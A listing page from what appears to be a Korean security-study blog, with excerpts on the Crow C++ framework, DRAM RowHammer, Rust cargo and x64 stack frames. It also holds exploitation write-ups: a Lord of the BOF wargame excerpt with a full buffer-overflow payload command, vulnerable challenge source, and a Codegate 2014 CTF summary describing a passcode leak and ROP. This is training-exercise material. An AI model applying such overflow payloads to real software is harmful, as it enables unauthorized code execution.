전체 글
-
Crow 분석공부/오픈소스 분석 2015. 4. 8. 23:20
crow현재 수정 진행중인 문서입니다! 목차 routing Compile timeRun time Middleware서버구조black_magichttps://www.youtube.com/watch?v=MixS9c3mE6U 참고 자료RoutingSample Code about routint main() { CROW_ROUTE(app, "/"); //이런식으로 폴더를 지정 //python의 플라스크에 영향을 받음, 컴파일 시간에 핸들러 타입 체크 } crow_route구조app.route(url); 핸들러 형태 체크 -> 컴파일 타임 -> 템플릿 인자 실행 중에 url체크 -> 런타임 -> 함수 인자 Url->Routing Ruleget_parameter_tag("//") //인자를 받고 -> argument..
-
DRAM RowHammer공부/시스템 2015. 3. 11. 17:54
최근 4월 9일 구글 프로젝트 제로에서 Row Hammer 을 이용한 익스플로잇에 대한 포스팅을 했다.http://googleprojectzero.blogspot.kr/2015/03/exploiting-dram-rowhammer-bug-to-gain.html?m=1&utm_content=buffera7b38&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer 한글로 설명해준 블로그가 아직 없는 것 같아서 글을 써본다. What is DRAM RowHammer?DRAM은 다들 잘 알고 있다 싶이 동적램으로 우리가 일반적으로 컴퓨터에 꽂는 램이다.콘덴서로 구성해서 주기적으로 refresh가 필요하고 집적도가 낮고 낮은 전력 소모 등등.. 컴퓨터 하드웨..
-
Rust - cargo를 이용한 rust 프로젝트 관리 (Cargo 사용법)공부/프로그래밍 2015. 2. 21. 03:00
rust를 처음 시작하는데 cargo라는 처음 접하는 개념이 있었다.(물론 프로그래밍을 한지 얼마 안되서 그러는 거일수도)c++을 사용하면서 vs를 이용해 c++ 프로젝트를 관리해왔었는데 rust 같은 경우는 cargo를 이용해 컴파일과 프로젝트를 관리 할 수 도 있다. 그럼 기존 방식에 비해 carog를 이요한 프로젝트 관리가 얼마나 좋은지 한번 알아보자 http://doc.crates.io/guide.html
-
[lob] succubus -> nightmare공부/LOB 2015. 2. 19. 05:00
[succubus@localhost succubus]$ cat nightmare.c /* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT */ #include #include #include #include main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with strcpy()\n"); exit(..
-
[lob] zombie_assassin -> succubus공부/LOB 2015. 2. 17. 17:00
payload = [dummy 44byte] + [do] + [gye] + [gul] + [yut] + [mo] + [ret dummy] + [buffer addr + 72] + ["my-pass\x0"] [zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "a"*44 + "\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\xf0\xaf\xff\xbf"+"\x98\xfa\xff\xbf"+"my-pass\x0"'` aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.¼\$-p..
-
codegate junior 2014 nuclear공부/시스템 2014. 9. 9. 19:39
간단한 버퍼오버플로 문제.. 라고 하나 한 7시간정도 걸려서 푼것같다(왜이렇게 페이로드에서 계속 실수를 하는지) 공격방법은 처음 메뉴부분에서 target을 중간에 00이들어가지 않도록 큰값으로 주고(상수여서 부동소숫점 한참보다가그냥 99999.999999999 처럼 겁나 크게 해서 보냄) buf의 null바이트를 지우도록 200바이트 꽉차게 보내준다그러면 passcode가 릭되고 카운트 다운 하는 곳으로 넘어갈 수 있다 그다음보면 이상한 값을 막 출력하면서 카운트 다운이 되는데 잘보면 윗부분에 pthread로 start_routine을 실행시킨다 그리고 보면은 오버플로가 일어난다 여기서 rop를 해주면 되는데 처음으로는 system함수와 send의 거리차를 구하고 send로 send의 got값을 가져온다..
-
x64 stack frame공부/리버싱 2014. 8. 12. 13:07
32비트 cpu일떄는 함수 호출규약이 여러개 있었지만 64비트로올라오면서 한개로 통합이 되었다 기존 fastcall(함수의 인자가 레지스터로 전달되는방식)호출규약을 이용한다. 64비트 레지스터로는 기존의 레지스터에서 확장된 레지스터를 사용하고(rax, rbx ,rsp등등..)8개의 레지스터가 추가되었다 (r8~r15) 스택프레임다음과 같은 C코드를 짠다고 했을 떄 123456789long myfunc(long a, long b, long c, long d, long e, long f, long g, long h){ long xx = a * b * c * d * e * f * g * h; long yy = a * b * c * d * e * f * g * h; long zz = utilfunc(xx, yy..